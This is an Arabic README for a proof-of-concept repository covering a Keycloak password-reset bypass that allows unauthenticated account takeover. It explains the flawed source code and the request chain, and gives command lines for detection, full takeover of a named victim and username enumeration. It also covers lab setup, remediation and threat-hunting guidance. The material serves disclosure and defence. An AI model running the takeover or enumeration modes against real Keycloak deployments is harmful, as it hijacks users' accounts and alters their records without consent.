
استغلال لثغرة Keycloak CVE-2026-18963 يتيح الاستيلاء غير المصادق عليه على الحسابات عبر تجاوز إعادة تعيين بيانات الاعتماد. يتضمن كشفًا آمنًا، وإثباتًا غير مدمر، واستيلاءً كاملًا، وتعداد أسماء المستخدمين، ومختبرًا بإصدارات قابلة للاستغلال ومصححة.
بمعرفة اسم مستخدم أو عنوان بريد إلكتروني فقط، يمكن لمهاجم غير مصادق عليه تعيين كلمة مرور عشوائية على أي حساب في Keycloak. يتم تسليم بريد إعادة تعيين كلمة المرور إلى الضحية الحقيقية ولا تكون هناك حاجة إليه أبدًا — لا يقرأ المهاجم صندوق بريد، ولا ينقر على رابط، ولا يمتلك أي بيانات اعتماد أو جلسة سابقة.
المتأثر: Keycloak 26.0.0 – 26.7.1. تم الإصلاح في الإصدار 26.7.2.
أمر واحد. لا يتطلب اسم مستخدم صالحًا، ولا آثار جانبية — لا يرسل بريدًا إلكترونيًا، ولا يكتب على أي حساب، ويتوقف قبل الخطوة القابلة للاستغلال.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+، المكتبة القياسية فقط. لا شيء لتثبيته.
| الخروج | الحكم | المعنى |
|:---:|---|---|
| `0` | 🔴 **قابل للاستغلال** | تم تقديم بوابة البريد الإلكتروني المتوقفة — العيب نفسه |
| `2` | 🟢 **مُصحَّح** | انحرف التدفق إلى تسجيل الدخول وبقي هناك (الإصلاح #51844 موجود) |
| `2` | 🟡 **مُخفَّف** | إعادة تعيين بيانات الاعتماد غير قابلة للوصول — *نسيت كلمة المرور* معطّلة. **ليس تصحيحًا.** |
| `3` | ⚪ **غير حاسم** | استجابة غير معترف بها — **لا تقرأ هذا على أنه نجاح** |
شغّله لكل نطاق (realm) — *نسيت كلمة المرور* إعداد خاص بكل نطاق، و`master` يُحتسب.
التفاصيل، ولماذا لا يحتاج الفحص إلى مستخدم ولا يلمس شيئًا، في
[§4a](#4a-safe-detection---safe-check--start-here).
**هل تعرف بالفعل أنك مكشوف؟** انتقل إلى [المعالجة](#8-remediation) و
[الكشف / اصطياد التهديدات](#9-detection).
### جرّبه بدون هدف
يأتي المستودع مع مختبر يُشغّل إصدارًا قابلًا للاستغلال **26.7.1** وإصدارًا مُصحَّحًا **26.7.2**
جنبًا إلى جنب ضد نطاق متطابق، بالإضافة إلى صندوق بريد لمراقبة وصول بريد إعادة التعيين
وبقائه غير مقروء أثناء الاستيلاء على الحساب:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ الاختبار المصرّح به فقط
هذا المستودع مخصص للمدافعين ومستجيبي الحوادث ومختبري الاختراق المصرح لهم. قم بتشغيله ضد الأنظمة التي تملكها أو لديك إذن كتابي لاختبارها. كل شيء هنا يأتي مع مختبر ضعيف مكتفٍ ذاتيًا (
lab/)، فلا حاجة للمس أي شيء خارجي لتتعلم كيف يعمل الثغرة. توجيهه نحو بنية تحتية تابعة لطرف ثالث دون تصريح يعد غير قانوني في معظم الدول وليس شيئًا يدعمه هذا المشروع.
المراجع: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · الإصلاح keycloak#51844
عيبان متسلسلان. لا يمكن استغلال أي منهما بمفرده.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — أي طلب POST يحمل مفتاح النموذج tryAnotherWay:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
الملاحظة هي **قيمة منطقية بسيطة بدون أي سجل لأي مجموعة تنفيذ تنتمي إليها**. يتم مسحها فقط في الفرع الذي يعالج معامل `authenticationExecution` المُرسل. احذف هذا المعامل — كما يفعل هذا الإثبات المفاهيمي (PoC) طوال الوقت — وستبقى العلامة مضبوطة طوال عمر جلسة المصادقة.
`processFlow()` — بينما تكون العلامة صحيحة (truthy)، يتم تخطي تقييم التدفق الطبيعي:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
يقدّم نموذجًا قابلًا للإرسال يستهدف أي تنفيذ متوقف حاليًا، بدلًا من إبقاء الجلسة مثبّتة على "انتظار البريد الإلكتروني".
الرابط هو processResult() case FORK: — عندما يتم تشغيل إرسال بريد إعادة التعيين، فإنه يختم
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> ويُفرّع
المتصفح إلى صفحة تسجيل الدخول. التنفيذ المتوقف هو تحديدًا بوابة البريد الإلكتروني.
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
Unconditional. لا شيء يتحقق من أن التدفق استُؤنف بواسطة رمز إجراء صالح،
لذا فإن *الوصول* إلى `action()` يُعتبر مكافئًا لإثبات السيطرة على صندوق البريد.
### السلسلة```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
ستة طلبات HTTP، بدون مصادقة، وبدون معامل authenticationExecution في أي
نقطة.
model.getId()، وprocessFlow() تحترمها فقط عندما
تساوي CURRENT_AUTHENTICATION_EXECUTION، وإلا تزيلها. في الهجوم يختلف الاثنان
(معرّف اختيار المستخدم مقابل معرّف بوابة البريد الإلكتروني) — وهذا بالضبط ما يكتشفه
التصحيح، وبالضبط الإشارة التي يعتمد عليها --safe-check.ResetCredentialEmail.action() يتطلب الآن
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
وإلا يفشل مع INVALID_USER.6a9e60bb، الذي أضاف شاشة محدد المصادقة "جرّب طريقة أخرى" إلى
تدفق إعادة التعيين. أي شيء أقدم ببساطة يفتقر إلى مسار الكود هذا. ويشمل ذلك
التوزيعات القديمة القائمة على WildFly وRH-SSO 7.x، وهي غير متأثرة بهذا
الخطأ بينما تبقى خارج نطاق الدعم وعرضة للكثير من الثغرات الأخرى. البقاء على
بناء قديم ليس علاجًا.26.7.2 هو الإصدار المُصلَح الوحيد
المنشور لمسار المجتمع. إذا كان النشر يعتمد على 26.0 – 26.6، فلا يوجد
إصدار تصحيحي على ذلك الخط — الإصلاح يتطلب ترقية إصدار ثانوي، وليس
إصدارًا نقطيًا. وسما 26.4.15 / 26.6.6 هما نقل خلفي من المورّد وليسا
قابلين للتبادل مع صور المجتمع.الشروط المسبقة: النطاق مفعّل فيه نسيت كلمة المرور و تدفق
إعادة تعيين الاعتمادات المرتبط به يستخدم مصادق reset-credential-email المدمج.
يوفّر المستودع كلاً من Keycloak القابل للاستغلال والمُصلَح، مع استيراد نفس النطاق، بالإضافة إلى Mailpit لالتقاط بريد إعادة التعيين — حتى تتمكن من مشاهدته يصل ويبقى غير مقروء بينما يتم الاستيلاء على الحساب.```bash cd lab docker compose up -d
| الخدمة | الرابط | الإصدار |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **قابل للاستغلال** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **مجموعة تحكم مُصححة** |
| `kc-mailpit` | http://localhost:8025 | صندوق بريد الضحية |
المجال `poc`، العميل العام `poc-app`، المستخدم `victim` / `OriginalPassw0rd!`، مسؤول
Keycloak `admin` / `admin`.
ثبّت إصدارات مختلفة باستخدام `KC_VULN_VERSION` / `KC_PATCHED_VERSION`:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
بين عمليات التشغيل، يقوم lab/reset-victim.sh باستعادة كلمة مرور الضحية
(KC=http://localhost:8100 lab/reset-victim.sh يستهدف النسخة المصدّاة).
يقوم lab/legit_reset.py بإجراء إعادة تعيين حقيقية عن طريق سحب رابط رمز الإجراء
من Mailpit والنقر عليه. وهو العيّنة الضابطة لأعمال الكشف في
§9 — قم بتشغيله والاستغلال ضد نفس النطاق، ثم قارن التتبعات.
التفكيك: docker compose down -v.
Python 3.9+، المكتبة القياسية فقط — لا تبعيات، يعمل على أي خادم قفز.``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE
`--client-id` يمكن أن يكون أي عميل عام مفعّل مع التدفق القياسي. العميل المدمج
`account` موجود في كل realm وهو الخيار الموثوق، لكنه يقيّد
redirect URIs، لذا يجب أن يكون `--redirect-uri` **إذن**
`<base>/realms/<realm>/account/` — الافتراضي مرفوض وتفشل الخطوة 1.
### 4أ. الكشف الآمن (`--safe-check`) — ابدأ من هنا
لا يتطلب **اسم مستخدم صالحًا** وليس له **آثار جانبية**. هذا هو الفحص الذي يجب استخدامه
عندما يجب ألا تزعج الهدف.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
لماذا لا يحتاج إلى مستخدم، ولا يرسل بريدًا. ResetCredentialEmail.authenticate()
يتفرع أيضًا لمستخدم غير معروف:```java
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
`processResult()` `case FORK:` لذلك يوقف `CURRENT_AUTHENTICATION_EXECUTION`
على تنفيذ البريد الإلكتروني **حتى لو لم يتم العثور على أحد** — ولا يتم إرسال أي بريد،
لأنه لا يوجد أحد لإرسال البريد إليه. يتوقف الفحص عند أداة التمييز ولا يرسل أبدًا
إلى البوابة، لذا لا يتم تشغيل `action()` أبدًا: لا NPE على الهدف، ولا كتابة `emailVerified`،
ولا بريد، ولا يتم لمس أي حساب.
**إنه يؤكد على الإشارة الإيجابية فقط.** VULNERABLE ⟺ الخطوة 5 تُرجع نموذجًا
لا يزال داخل `login-actions/reset-credentials` يختلف `execution` الخاص به عن
تنفيذ اختيار المستخدم. هذا *هو* الخطأ: ملاحظة
`AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED` القديمة التي تخدم بوابة البريد الإلكتروني المتوقفة.
كلا الجزأين مهمان — المسار يثبت أننا ما زلنا في تدفق إعادة التعيين، ومعرّف التنفيذ
المختلف يثبت أنها بوابة البريد الإلكتروني وليست إعادة عرض.
أي شيء آخر **ليس** صامتًا يُعتبر مُصححًا. PATCHED يتطلب دليله الخاص
(متفرع إلى `login-actions/authenticate` *و* وجود حقل إدخال كلمة مرور)؛ كل ما تبقى
هو INCONCLUSIVE ويحتاج إلى إنسان. تصميم سابق اعتبر "ليس نموذج البوابة"
مُصححًا، وهو ما يحوّل بصمت كل سمة مخصصة، وصفحة خطأ، وكتلة WAF
وشاشة وسيطة إلى شهادة سلامة خاطئة.
### 4b. إثبات غير مدمر (`--check`)
يقود السلسلة الكاملة لكنه يتوقف عند نموذج تحديث كلمة المرور. الوصول إلى ذلك النموذج
بدون رمز إجراء هو أمر قاطع.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
هناك تأثيران جانبيان لا مفر منهما، لأنهما يحدثان في مرحلة سابقة لنموذج كلمة المرور — اذكرها في نطاق الاختبار:
action() بتعيين emailVerified = true على الحساب.لا يتم تعديل أي بيانات اعتماد. يُفضَّل استخدام حساب اختبار مخصص.
للمختبر أو للعرض التوضيحي المصرَّح به صراحةً فقط.```bash
python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'
الخروج برمز `0` يعني `قابل للاستغلال` · `2` يعني `غير قابل للاستغلال` · `1` يعني `تم تغيير كلمة المرور لكن فشل منح التأكيد`
(وجّه `--verify-client-id` إلى عميل لديه منح وصول مباشر).
إكمال التدفق يعيد أيضًا **رمز تفويض OIDC للضحية**، لذا
يكون الاستيلاء فوريًا — لا حاجة لتسجيل دخول ثانٍ بكلمة المرور الجديدة.
### 4د. تعداد أسماء المستخدمين (`--enum`)
نفس الثغرة تُعد مؤشرًا لأسماء المستخدمين، وهي أقوى مما تسمح به Keycloak عادةً.
`ResetCredentialEmail.authenticate()` يعيد عمدًا رسالة متطابقة
*"يجب أن تتلقى بريدًا إلكترونيًا قريبًا"* للمستخدمين الحقيقيين وغير المعروفين، لذا
لا يمكن استخدام نموذج إعادة التعيين نفسه للتعداد — هذا الدفاع لا يزال قائمًا في الخطوة 4. لكنه
ينهار عند **الخطوة 6**، حيث `action()` يصل إلى المستخدم دون قيد أو شرط
(`context.getUser().setEmailVerified(true)`).
| المعرف | الخطوة 6 | الحكم |
|---|---|---|
| مستخدم حقيقي | `200`، يصل إلى نموذج تحديث كلمة المرور | صالح |
| مستخدم غير معروف | `400` (صفحة خطأ NPE) | غير صالح |```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
لا يغيّر كلمة المرور أبدًا. يخرج بالرمز 0 إذا تم حلّ أي معرّف، وبالرمز 2 بخلاف ذلك.
التكلفة لكل فحص — اقرأ قبل التشغيل. الوصول إلى الأوراكل يتطلب إكمال
الخطوة 4، لذا كل فحص ضد حساب حقيقي يرسل إلى ذلك الشخص رسالة إعادة تعيين كلمة مرور
حقيقية ويضبط emailVerified = true على سجله. إنه ليس فحصًا صامتًا:
إنه مرئي لصاحب الحساب ويغيّر بياناته. قائمة أسماء من 5000 اسم تعني 5000 رسالة
بريد إلكتروني لأشخاص حقيقيين و5000 حساب معدّل.
استخدمه لإثبات وجود الأوراكل على عدد قليل من المعرّفات من أجل التقرير — وليس لجمع دليل كامل. الحراسات متحفظة عمدًا:
--enum-max N يرفض القوائم الأطول من N (الافتراضي 25)--enum-delay SEC يتوقف بين الفحوصات (الافتراضي 2.0)رفع أي منهما يجب أن يكون قرارًا واعيًا يُسجَّل في ملاحظات المشاركة.
زاوية الإبلاغ: هذا يهزم ضابط مكافحة التعداد الذي نفّذه Keycloak عن قصد. يستحق الكتابة عنه كنتيجة مستقلة إلى جانب الاستيلاء، وهو يلغي "أسماء المستخدمين لدينا غير قابلة للتخمين" كعامل مخفِّف.
أي نشر جاد يشحن سمة تسجيل دخول مخصصة، والسمات المخصصة تعيد تسمية أو تحذف
معرّفات العناصر القياسية (kc-form-login, kc-reset-password-form,
kc-select-credential-form, kc-passwd-update-form). أداة تعتمد على تلك المعرّفات
تبلّغ عن نتيجة سلبية خاطئة على النشرات الأكثر أهمية تحديدًا — هذه الأداة
فعلت ذلك، قبل إعادة كتابتها. السمات التي شوهدت في الميدان تستخدم معرّفات مثل id="login-form"
وتشحن رابط نسيت كلمة المرور بسمة href فارغة.
لذلك يعتمد هذا الإثبات المفاهيمي على لا شيء يتحكم به السمة:
action= للنماذج
على الصفحة — login-actions/reset-credentials, login-actions/authenticate,
login-actions/required-action — ومن معامل الاستعلام execution داخلها.
تلك المسارات تُنتج بواسطة LoginActionsService الخاص بـ Keycloak نفسه، وليس
بواسطة السمة.kc-* واحد فيه./realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… وتفحصه
مباشرة، آخذةً tab_id من أي نموذج تعرضه صفحة تسجيل الدخول.إذا كان الهدف لا يزال يُرجع INCONCLUSIVE، شغّل مع --verbose --dump out.html واقرأ
الاستجابة — الأداة ترفض التخمين عمدًا.
عميل يفرض PKCE يرفض الخطوة 1 بـ
Missing parameter: code_challenge_method. يُبلَّغ عن هذا كـ INCONCLUSIVE
(خروج 3)، وليس أبدًا كنجاح. حتى يدعم PKCE، لا يمكن فحص عالم يكون فيه العميل
العام الوحيد القابل للاستخدام يفرض PKCE بهذه الأداة — جرّب عميل account
المدمج، الذي لا يفرضه عادةً.
كل تشغيل أدناه ضد المختبر في هذا المستودع، باستخدام الكود كما نُشر.
نتيجتان تستحقان الإشارة إليهما خارج نص الاستشارة:
ResetCredentialEmail.authenticate() يسلك مسار forkWithSuccessMessage عندما
يكون user.getEmail() فارغًا، والذي لا يزال يوقف التنفيذ عبر case FORK:.
الأمر نفسه ينطبق على فشل إرسال SMTP — خادم بريد معطّل أو غائب ليس
تخفيفًا. هذا مهم مباشرةً للعوالم المندمجة مع AD/LDAP، حيث لا تحمل الحسابات
غالبًا أي سمة بريد.المصادقة متعددة العوامل ليست تخفيفًا. تدفق إعادة تعيين البيانات الافتراضي لا يحتوي على خطوة OTP، وبمجرد المرور، يمكن للمهاجم إزالة عوامل الضحية المسجّلة.
الإصلاح: الترقية. 26.7.2 للإصدارات المجتمعية، أو علامة backport من البائع المطابقة لاشتراكك. كل ما يلي هو حل مؤقت.
تخفيفات مؤقتة، الأفضل أولًا:
master.العوالم التي يكون تدفق إعادة التعيين المرتبط بها مخصصًا بالكامل ولا يستدعي أبدًا
reset-credential-email غير قابلة للاستغلال عبر هذا المسار.
Keycloak لا يصدر حدث "تخطي رمز الإجراء"، لذا الاكتشاف استدلالي. شغّل
lab/legit_reset.py بجانب الاستغلال لتوليد كلا الأثرين والمقارنة.
GET /login-actions/action-token?... (الضحية ينقر على البريد) قبل تغيير
كلمة المرور. الالتفاف لا يحتوي على مثل هذا GET. بدلاً من ذلك يُظهر POST إلى
login-actions/reset-credentials يحتوي جسمه على tryAnotherWay، متبوعًا
بـ POST ثانٍ إلى نفس المسار بجسم فارغ، ثم نموذج كلمة المرور.
POST بـ tryAnotherWay داخل تدفق إعادة التعيين ليس شيئًا تنتجه واجهة المستخدم القياسية
في الاستخدام العادي.SEND_RESET_PASSWORD متبوعًا بـ UPDATE_PASSWORD يشاركان
نفس code_id خلال ثوانٍ قليلة — أقل من ثانية في المختبر. مستخدم لديه البريد
مفتوحًا بالفعل يمكنه أن يبدو سريعًا أيضًا، لذا قم بتأكيد ذلك مع سجلات الوكيل.emailVerified فيها إلى true دون حدث
VERIFY_EMAIL مقابل هي مؤشر داعم مفيد، ومؤشر لا يمكن للمهاجم
تجنّب تركه.غياب الأحداث لا يثبت شيئًا إذا كان تسجيل الأحداث أو الاحتفاظ بها معطّلًا. تحقق من نافذة الاحتفاظ قبل استنتاج أن نشرًا لم يُستهدف.
Snizi — github.com/Snizi — [email protected]
صدر بموجب رخصة MIT. المشكلات وطلبات السحب مرحّب بها — خاصةً دعم PKCE وخصائص السمات الواقعية الإضافية.
| الخط | قابل للاستغلال | إصلاح المجتمع |
|---|
| القديم (Keycloak القائم على WildFly، ≤ 17) | غير متأثر | — |
| Quarkus 17 – 25.x | غير متأثر | — |
| 26.0 | 26.0.0 – 26.0.17 | لا يوجد |
| 26.1 | 26.1.0 – 26.1.5 | لا يوجد |
| 26.2 | 26.2.0 – 26.2.16 | لا يوجد |
| 26.3 | 26.3.0 – 26.3.5 | لا يوجد |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (وسم النقل الخلفي من المورّد) |
| 26.5 | 26.5.0 – 26.5.7 | لا يوجد |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (وسم النقل الخلفي من المورّد) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
| الخروج | الحكم | المعنى |
|---|
0 | قابل للاستغلال | تم تقديم بوابة البريد الإلكتروني المتوقفة — الخلل نفسه |
2 | مُصحَّح | انحرف التدفق إلى تسجيل الدخول وبقي هناك (الإصلاح #51844 موجود) |
2 | مُخفَّف | إعادة تعيين بيانات الاعتماد غير قابلة للوصول — نسيت كلمة المرور معطّلة. ليس تصحيحًا. |
3 | غير حاسم | استجابة غير معترف بها — لا تقرأ هذا على أنه نجاح |
| الاختبار | الهدف | النتيجة |
|---|
--safe-check | 26.7.1 | VULNERABLE، خروج 0 — بوابة البريد الإلكتروني خُدِمت (execution ≠ choose-user) |
--safe-check | 26.7.2 | PATCHED، خروج 2 — تحوّل إلى تسجيل الدخول وبقي |
--safe-check، نسيت كلمة المرور معطّل | 26.7.2 | MITIGATED، خروج 2 — HTTP 400، التدفق غير قابل للوصول |
| استيلاء كامل | 26.7.1 | خروج 0 — كلمة المرور ضُبطت، رمز OIDC صدر، منح كلمة المرور يؤكد |
| استيلاء كامل | 26.7.2 | خروج 2 — حُظر عند الخطوة 5، الحساب لم يُمس |
--check | 26.7.1 | وصل إلى UPDATE_PASSWORD؛ كلمة المرور تحقّق أنها لم تتغير بعد ذلك |
--enum | 26.7.1 | victim و [email protected] VALID، does-not-exist INVALID |
| حالة بيانات الاعتماد بعد الاستيلاء | 26.7.1 | كلمة مرور جديدة → 200، كلمة مرور قديمة → 400 |
| حالة بيانات الاعتماد بعد تشغيل محظور | 26.7.2 | كلمة مرور قديمة → 200، كلمة مرور المهاجم → 400 |
| صندوق بريد الضحية | Mailpit | رسائل إعادة التعيين سُلّمت وغير مقروءة؛ رابط رمز الإجراء لا يُجلب أبدًا |